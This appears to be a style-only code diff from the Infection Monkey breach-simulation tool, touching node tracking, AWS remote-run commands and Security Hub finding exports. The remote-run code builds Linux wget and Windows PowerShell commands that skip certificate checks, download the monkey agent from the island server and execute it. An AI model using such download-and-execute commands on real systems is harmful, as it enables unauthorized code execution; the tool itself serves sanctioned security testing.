NodeService.get_label_for_endpoint(monkey_island_monkey["_id"]) edge = DisplayedEdgeService.generate_pseudo_edge( - edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=monkey_island_monkey["_id"], - src_label=src_label, - dst_label=dst_label, + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=monkey_island_monkey["_id"], + src_label=src_label, + dst_label=dst_label, ) edges.append(edge) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 4f50fc44661..78c165503d4 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -25,7 +25,7 @@ def get_displayed_node_by_id(node_id, for_report=False): if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id(): return NodeService.get_monkey_island_node() - new_node = {"id":node_id} + new_node = {"id": node_id} node = NodeService.get_node_by_id(node_id) if node is None: @@ -63,7 +63,7 @@ def get_displayed_node_by_id(node_id, for_report=False): edge_exploit["origin"] = from_node_label exploits.append(edge_exploit) - exploits = sorted(exploits, key=lambda exploit:exploit["timestamp"]) + exploits = sorted(exploits, key=lambda exploit: exploit["timestamp"]) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes @@ -111,7 +111,7 @@ def get_monkey_label_by_id(monkey_id): @staticmethod def get_monkey_critical_services(monkey_id): critical_services = mongo.db.monkey.find_one( - {"_id":monkey_id}, {"critical_services":1} + {"_id": monkey_id}, {"critical_services": 1} ).get("critical_services", []) return critical_services @@ -156,35 +156,35 @@ def monkey_to_net_node(monkey, for_report=False): ) monkey_group = NodeService.get_monkey_group(monkey) return { - "id":monkey_id, - "label":label, - "group":monkey_group, - "os":NodeService.get_monkey_os(monkey), + "id": monkey_id, + "label": label, + "group": monkey_group, + "os": NodeService.get_monkey_os(monkey), # The monkey is running IFF the group contains "_running". Therefore it's dead IFF # the group does NOT # contain "_running". This is a small optimisation, to not call "is_dead" twice. - "dead":"_running" not in monkey_group, - "domain_name":"", - "pba_results":monkey["pba_results"] if "pba_results" in monkey else [], + "dead": "_running" not in monkey_group, + "domain_name": "", + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [], } @staticmethod def node_to_net_node(node, for_report=False): label = node["os"]["version"] if for_report else NodeService.get_node_label(node) return { - "id":node["_id"], - "label":label, - "group":NodeService.get_node_group(node), - "os":NodeService.get_node_os(node), + "id": node["_id"], + "label": label, + "group": NodeService.get_node_group(node), + "os": NodeService.get_node_os(node), } @staticmethod def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id":node_id}, {"$set":{"group":node_group.value}}, upsert=False) + mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) @staticmethod def unset_all_monkey_tunnels(monkey_id): - mongo.db.monkey.update({"_id":monkey_id}, {"$unset":{"tunnel":""}}, upsert=False) + mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) edges = EdgeService.get_tunnel_edges_by_src(monkey_id) for edge in edges: @@ -195,15 +195,15 @@ def set_monkey_tunnel(monkey_id, tunnel_host_ip): tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( - {"_id":monkey_id}, {"$set":{"tunnel":tunnel_host_id}}, upsert=False + {"_id": monkey_id}, {"$set": {"tunnel": tunnel_host_id}}, upsert=False ) monkey_label = NodeService.get_label_for_endpoint(monkey_id) tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id) tunnel_edge = EdgeService.get_or_create_edge( - src_node_id=monkey_id, - dst_node_id=tunnel_host_id, - src_label=monkey_label, - dst_label=tunnel_host_label, + src_node_id=monkey_id, + dst_node_id=tunnel_host_id, + src_label=monkey_label, + dst_label=tunnel_host_label, ) tunnel_edge.tunnel = True tunnel_edge.ip_address = tunnel_host_ip @@ -212,50 +212,50 @@ def set_monkey_tunnel(monkey_id, tunnel_host_ip): @staticmethod def insert_node(ip_address, domain_name=""): new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses":[ip_address], - "domain_name":domain_name, - "exploited":False, - "creds":[], - "os":{"type":"unknown", "version":"unknown"}, - } + { + "ip_addresses": [ip_address], + "domain_name": domain_name, + "exploited": False, + "creds": [], + "os": {"type": "unknown", "version": "unknown"}, + } ) - return mongo.db.node.find_one({"_id":new_node_insert_result.inserted_id}) + return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): new_node_insert_result = mongo.db.node.insert_one( - { - "ip_addresses":bootloader_telem["ips"], - "domain_name":bootloader_telem["hostname"], - "will_monkey_run":will_monkey_run, - "exploited":False, - "creds":[], - "os":{ - "type":bootloader_telem["system"], - "version":bootloader_telem["os_version"], - }, - } + { + "ip_addresses": bootloader_telem["ips"], + "domain_name": bootloader_telem["hostname"], + "will_monkey_run": will_monkey_run, + "exploited": False, + "creds": [], + "os": { + "type": bootloader_telem["system"], + "version": bootloader_telem["os_version"], + }, + } ) - return mongo.db.node.find_one({"_id":new_node_insert_result.inserted_id}) + return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod def get_or_create_node_from_bootloader_telem( - bootloader_telem: Dict, will_monkey_run: bool + bootloader_telem: Dict, will_monkey_run: bool ) -> Dict: if is_local_ips(bootloader_telem["ips"]): raise NodeCreationException("Bootloader ran on island, no need to create new node.") - new_node = mongo.db.node.find_one({"ip_addresses":{"$in":bootloader_telem["ips"]}}) + new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses":{"$in":bootloader_telem["ips"]}}) + monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) if monkey_node: # Don't create new node, monkey node is already present return monkey_node if new_node is None: new_node = NodeService.create_node_from_bootloader_telem( - bootloader_telem, will_monkey_run + bootloader_telem, will_monkey_run ) if bootloader_telem["tunnel"]: dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) @@ -264,10 +264,10 @@ def get_or_create_node_from_bootloader_telem( src_label = NodeService.get_label_for_endpoint(new_node["_id"]) dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) edge = EdgeService.get_or_create_edge( - src_node_id=new_node["_id"], - dst_node_id=dst_node["id"], - src_label=src_label, - dst_label=dst_label, + src_node_id=new_node["_id"], + dst_node_id=dst_node["id"], + src_label=src_label, + dst_label=dst_label, ) edge.tunnel = bool(bootloader_telem["tunnel"]) edge.ip_address = bootloader_telem["ips"][0] @@ -277,51 +277,51 @@ def get_or_create_node_from_bootloader_telem( @staticmethod def get_or_create_node(ip_address, domain_name=""): - new_node = mongo.db.node.find_one({"ip_addresses":ip_address}) + new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: new_node = NodeService.insert_node(ip_address, domain_name) return new_node @staticmethod def get_monkey_by_id(monkey_id): - return mongo.db.monkey.find_one({"_id":ObjectId(monkey_id)}) + return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)}) @staticmethod def get_monkey_by_guid(monkey_guid): - return mongo.db.monkey.find_one({"guid":monkey_guid}) + return mongo.db.monkey.find_one({"guid": monkey_guid}) @staticmethod def get_monkey_by_ip(ip_address): - return mongo.db.monkey.find_one({"ip_addresses":ip_address}) + return mongo.db.monkey.find_one({"ip_addresses": ip_address}) @staticmethod def get_node_by_ip(ip_address): - return mongo.db.node.find_one({"ip_addresses":ip_address}) + return mongo.db.node.find_one({"ip_addresses": ip_address}) @staticmethod def get_node_by_id(node_id): - return mongo.db.node.find_one({"_id":ObjectId(node_id)}) + return mongo.db.node.find_one({"_id": ObjectId(node_id)}) @staticmethod def update_monkey_modify_time(monkey_id): mongo.db.monkey.update( - {"_id":monkey_id}, {"$set":{"modifytime":datetime.now()}}, upsert=False + {"_id": monkey_id}, {"$set": {"modifytime": datetime.now()}}, upsert=False ) @staticmethod def set_monkey_dead(monkey, is_dead): - props_to_set = {"dead":is_dead} + props_to_set = {"dead": is_dead} # Cancel the force kill once monkey died if is_dead: props_to_set["config.alive"] = True - mongo.db.monkey.update({"guid":monkey["guid"]}, {"$set":props_to_set}, upsert=False) + mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) @staticmethod def add_communication_info(monkey, info): mongo.db.monkey.update( - {"guid":monkey["guid"]}, {"$set":{"command_control_channel":info}}, upsert=False + {"guid": monkey["guid"]}, {"$set": {"command_control_channel": info}}, upsert=False ) @staticmethod @@ -340,9 +340,9 @@ def get_monkey_island_pseudo_id(): @staticmethod def get_monkey_island_pseudo_net_node(): return { - "id":NodeService.get_monkey_island_pseudo_id(), - "label":"MonkeyIsland", - "group":"island", + "id": NodeService.get_monkey_island_pseudo_id(), + "label": "MonkeyIsland", + "group": "island", } @staticmethod @@ -354,22 +354,22 @@ def get_monkey_island_node(): @staticmethod def set_node_exploited(node_id): - mongo.db.node.update({"_id":node_id}, {"$set":{"exploited":True}}) + mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes if mongo.db.monkey.find_one( - {"dead":{"$ne":True}, "keepalive":{"$gte":datetime.now() - timedelta(minutes=10)}} + {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} ): return # config.alive is changed to true to cancel the force kill of dead monkeys mongo.db.monkey.update( - {"keepalive":{"$lte":datetime.now() - timedelta(minutes=10)}, "dead":{"$ne":True}}, - {"$set":{"dead":True, "config.alive":True, "modifytime":datetime.now()}}, - upsert=False, - multi=True, + {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, + {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, + upsert=False, + multi=True, ) @staticmethod @@ -387,11 +387,11 @@ def is_monkey_finished_running(): @staticmethod def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update({"_id":monkey_id}, {"$push":{"creds":creds}}) + mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) @staticmethod def add_credentials_to_node(node_id, creds): - mongo.db.node.update({"_id":node_id}, {"$push":{"creds":creds}}) + mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) @staticmethod def get_node_or_monkey_by_ip(ip_address): @@ -414,7 +414,7 @@ def get_node_hostname(node): @staticmethod def get_hostname_by_id(node_id): return NodeService.get_node_hostname( - mongo.db.monkey.find_one({"_id":node_id}, {"hostname":1}) + mongo.db.monkey.find_one({"_id": node_id}, {"hostname": 1}) ) @staticmethod diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index b8411470d76..660d4848742 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -21,10 +21,10 @@ def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH + PBA_WINDOWS_FILENAME_PATH ) linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH + PBA_LINUX_FILENAME_PATH ) if linux_filename: remove_file(linux_filename) @@ -48,10 +48,10 @@ def set_config_PBA_files(config_json): """ if monkey_island.cc.services.config.ConfigService.get_config(): linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_LINUX_FILENAME_PATH + PBA_LINUX_FILENAME_PATH ) windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( - PBA_WINDOWS_FILENAME_PATH + PBA_WINDOWS_FILENAME_PATH ) config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 7ed0d1b0446..553f4c72e57 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -46,14 +46,14 @@ def run_aws_monkeys(instances, island_ip): """ instances_bitness = RemoteRunAwsService.get_bitness(instances) return CmdRunner.run_multiple_commands( - instances, - lambda instance:RemoteRunAwsService.run_aws_monkey_cmd_async( - instance["instance_id"], - RemoteRunAwsService._is_linux(instance["os"]), - island_ip, - instances_bitness[instance["instance_id"]], - ), - lambda _, result:result.is_success, + instances, + lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( + instance["instance_id"], + RemoteRunAwsService._is_linux(instance["os"]), + island_ip, + instances_bitness[instance["instance_id"]], + ), + lambda _, result: result.is_success, ) @staticmethod @@ -76,13 +76,13 @@ def get_bitness(instances): False otherwise """ return CmdRunner.run_multiple_commands( - instances, - lambda instance:RemoteRunAwsService.run_aws_bitness_cmd_async( - instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) - ), - lambda instance, result:RemoteRunAwsService._get_bitness_by_result( - RemoteRunAwsService._is_linux(instance["os"]), result - ), + instances, + lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async( + instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) + ), + lambda instance, result: RemoteRunAwsService._get_bitness_by_result( + RemoteRunAwsService._is_linux(instance["os"]), result + ), ) @staticmethod @@ -93,7 +93,7 @@ def _get_bitness_by_result(is_linux, result): return result.stdout.find("i686") == -1 # i686 means 32bit else: return ( - result.stdout.lower().find("programfiles(x86)") != -1 + result.stdout.lower().find("programfiles(x86)") != -1 ) # if not found it means 32bit @staticmethod @@ -132,30 +132,30 @@ def _is_linux(os): @staticmethod def _get_run_monkey_cmd_linux_line(bit_text, island_ip): return ( - r"wget --no-check-certificate https://" - + island_ip - + r":5000/api/monkey/download/monkey-linux-" - + bit_text - + r"; chmod +x monkey-linux-" - + bit_text - + r"; ./monkey-linux-" - + bit_text - + r" m0nk3y -s " - + island_ip - + r":5000" + r"wget --no-check-certificate https://" + + island_ip + + r":5000/api/monkey/download/monkey-linux-" + + bit_text + + r"; chmod +x monkey-linux-" + + bit_text + + r"; ./monkey-linux-" + + bit_text + + r" m0nk3y -s " + + island_ip + + r":5000" ) @staticmethod def _get_run_monkey_cmd_windows_line(bit_text, island_ip): return ( - r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" - r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" - + island_ip - + r":5000/api/monkey/download/monkey-windows-" - + bit_text - + r".exe','.\\monkey.exe'); " - r";Start-Process -FilePath '.\\monkey.exe' " - r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + + island_ip + + r":5000/api/monkey/download/monkey-windows-" + + bit_text + + r".exe','.\\monkey.exe'); " + r";Start-Process -FilePath '.\\monkey.exe' " + r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " ) @staticmethod diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index da441aa4e17..d08cdccd11b 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -48,30 +48,30 @@ def merge_two_dicts(x, y): @staticmethod def _prepare_finding(issue, region): findings_dict = { - "island_cross_segment":AWSExporter._handle_island_cross_segment_issue, - "ssh":AWSExporter._handle_ssh_issue, - "shellshock":AWSExporter._handle_shellshock_issue, - "tunnel":AWSExporter._handle_tunnel_issue, - "elastic":AWSExporter._handle_elastic_issue, - "smb_password":AWSExporter._handle_smb_password_issue, - "smb_pth":AWSExporter._handle_smb_pth_issue, - "sambacry":AWSExporter._handle_sambacry_issue, - "shared_passwords":AWSExporter._handle_shared_passwords_issue, - "wmi_password":AWSExporter._handle_wmi_password_issue, - "wmi_pth":AWSExporter._handle_wmi_pth_issue, - "ssh_key":AWSExporter._handle_ssh_key_issue, - "shared_passwords_domain":AWSExporter._handle_shared_passwords_domain_issue, - "shared_admins_domain":AWSExporter._handle_shared_admins_domain_issue, - "strong_users_on_crit":AWSExporter._handle_strong_users_on_crit_issue, - "struts2":AWSExporter._handle_struts2_issue, - "weblogic":AWSExporter._handle_weblogic_issue, - "hadoop":AWSExporter._handle_hadoop_issue, + "island_cross_segment": AWSExporter._handle_island_cross_segment_issue, + "ssh": AWSExporter._handle_ssh_issue, + "shellshock": AWSExporter._handle_shellshock_issue, + "tunnel": AWSExporter._handle_tunnel_issue, + "elastic": AWSExporter._handle_elastic_issue, + "smb_password": AWSExporter._handle_smb_password_issue, + "smb_pth": AWSExporter._handle_smb_pth_issue, + "sambacry": AWSExporter._handle_sambacry_issue, + "shared_passwords": AWSExporter._handle_shared_passwords_issue, + "wmi_password": AWSExporter._handle_wmi_password_issue, + "wmi_pth": AWSExporter._handle_wmi_pth_issue, + "ssh_key": AWSExporter._handle_ssh_key_issue, + "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, + "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, + "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, + "struts2": AWSExporter._handle_struts2_issue, + "weblogic": AWSExporter._handle_weblogic_issue, + "hadoop": AWSExporter._handle_hadoop_issue, # azure and conficker are not relevant issues for an AWS env } configured_product_arn = INFECTION_MONKEY_ARN product_arn = "arn:aws:securityhub:{region}:{arn}".format( - region=region, arn=configured_product_arn + region=region, arn=configured_product_arn ) instance_arn = "arn:aws:ec2:" + str(region) + ":instance:{instance_id}" # Not suppressing error here on purpose. @@ -79,18 +79,18 @@ def _prepare_finding(issue, region): logger.debug("aws account id acquired: {}".format(account_id)) finding = { - "SchemaVersion":"2018-10-08", - "Id":uuid.uuid4().hex, - "ProductArn":product_arn, - "GeneratorId":issue["type"], - "AwsAccountId":account_id, - "RecordState":"ACTIVE", - "Types":["Software and Configuration Checks/Vulnerabilities/CVE"], - "CreatedAt":datetime.now().isoformat() + "Z", - "UpdatedAt":datetime.now().isoformat() + "Z", + "SchemaVersion": "2018-10-08", + "Id": uuid.uuid4().hex, + "ProductArn": product_arn, + "GeneratorId": issue["type"], + "AwsAccountId": account_id, + "RecordState": "ACTIVE", + "Types": ["Software and Configuration Checks/Vulnerabilities/CVE"], + "CreatedAt": datetime.now().isoformat() + "Z", + "UpdatedAt": datetime.now().isoformat() + "Z", } return AWSExporter.merge_two_dicts( - finding, findings_dict[issue["type"]](issue, instance_arn) + finding, findings_dict[issue["type"]](issue, instance_arn) ) @staticmethod @@ -112,8 +112,8 @@ def _send_findings(findings_list, region): return False except UnknownServiceError as e: logger.warning( - "AWS exporter called but AWS-CLI security hub service is not installed. " - "Error: {}".format(e) + "AWS exporter called but AWS-CLI security hub service is not installed. " + "Error: {}".format(e) ) return False except Exception as e: @@ -123,20 +123,20 @@ def _send_findings(findings_list, region): @staticmethod def _get_finding_resource(instance_id, instance_arn): if instance_id: - return [{"Type":"AwsEc2Instance", "Id":instance_arn.format(instance_id=instance_id)}] + return [{"Type": "AwsEc2Instance", "Id": instance_arn.format(instance_id=instance_id)}] else: - return [{"Type":"Other", "Id":"None"}] + return [{"Type": "Other", "Id": "None"}] @staticmethod def _build_generic_finding( - severity, title, description, recommendation, instance_arn, instance_id=None + severity, title, description, recommendation, instance_arn, instance_id=None ): finding = { - "Severity":{"Product":severity, "Normalized":100}, - "Resources":AWSExporter._get_finding_resource(instance_id, instance_arn), - "Title":title, - "Description":description, - "Remediation":{"Recommendation":{"Text":recommendation}}, + "Severity": {"Product": severity, "Normalized": 100}, + "Resources": AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title": title, + "Description": description, + "Remediation": {"Recommendation": {"Text": recommendation}}, } return finding @@ -145,322 +145,315 @@ def _build_generic_finding( def _handle_tunnel_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=5, - title="Weak segmentation - Machines were able to communicate over unused ports.", - description="Use micro-segmentation policies to disable communication other than " - "the required.", - recommendation="Machines are not locked down at port level. " - "Network tunnel was set up from {0} to {1}".format(issue["machine"], - issue["dest"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than " + "the required.", + recommendation="Machines are not locked down at port level. " + "Network tunnel was set up from {0} to {1}".format(issue["machine"], issue["dest"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_sambacry_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Samba servers are vulnerable to 'SambaCry'", - description="Change {0} password to a complex one-use password that is not shared " - "with other computers on the " - "network. Update your Samba server to 4.4.14 and up, " - "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The " - "Monkey authenticated over the SMB " - "protocol with user {2} and its password, and used the SambaCry " - "vulnerability.".format(issue["machine"], issue["ip_address"], - issue["username"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared " + "with other computers on the " + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The " + "Monkey authenticated over the SMB " + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=5, - title="Machines are accessible using passwords supplied by the user during the " - "Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not " - "shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey " - "used a pass-the-hash attack over " - "SMB protocol with user {2}.".format( - issue["machine"], issue["ip_address"], issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=5, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey " + "used a pass-the-hash attack over " + "SMB protocol with user {2}.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_ssh_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using SSH passwords supplied by the user during " - "the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not " - "shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey " - "authenticated over the SSH" - " protocol with user {2} and its " - "password.".format(issue["machine"], issue["ip_address"], - issue["username"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey " + "authenticated over the SSH" + " protocol with user {2} and its " + "password.".format(issue["machine"], issue["ip_address"], issue["username"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using SSH passwords supplied by the user during " - "the Monkey's configuration.", - description="Protect {ssh_key} private key with a pass phrase.".format( - ssh_key=issue["ssh_key"] - ), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH " - "attack. The Monkey authenticated " - "over the SSH protocol with private key {ssh_key}.".format( - machine=issue["machine"], ip_address=issue["ip_address"], - ssh_key=issue["ssh_key"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during " + "the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format( + ssh_key=issue["ssh_key"] + ), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH " + "attack. The Monkey authenticated " + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue["machine"], ip_address=issue["ip_address"], ssh_key=issue["ssh_key"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_elastic_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Elastic Search servers are vulnerable to CVE-2015-1427", - description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " - "The attack was made " - "possible because the Elastic Search server was not patched " - "against CVE-2015-1427.".format(issue["machine"], - issue["ip_address"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " + "The attack was made " + "possible because the Elastic Search server was not patched " + "against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Weak segmentation - Machines from different segments are able to " - "communicate.", - description="Segment your network and make sure there is no communication between " - "machines from different " - "segments.", - recommendation="The network can probably be segmented. A monkey instance on \ + severity=1, + title="Weak segmentation - Machines from different segments are able to " + "communicate.", + description="Segment your network and make sure there is no communication between " + "machines from different " + "segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format( - issue["machine"], issue["networks"], issue["server_networks"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + issue["machine"], issue["networks"], issue["server_networks"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Multiple users have the same password", - description="Some users are sharing passwords, this should be fixed by changing " - "passwords.", - recommendation="These users are sharing access password: {0}.".format( - issue["shared_with"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing " + "passwords.", + recommendation="These users are sharing access password: {0}.".format( + issue["shared_with"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Machines are vulnerable to 'Shellshock'", - description="Update your Bash to a ShellShock-patched version.", - recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on " - "TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - issue["machine"], issue["ip_address"], issue["port"], issue["paths"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on " + "TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue["machine"], issue["ip_address"], issue["port"], issue["paths"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the " - "Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not " - "shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey " - "authenticated over the SMB " - "protocol with user {2} and its password.".format( - issue["machine"], issue["ip_address"], issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey " + "authenticated over the SMB " + "protocol with user {2} and its password.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the " - "Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not " - "shared with other computers on the " - "network.", - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " - "attack. The Monkey authenticated over " - "the WMI 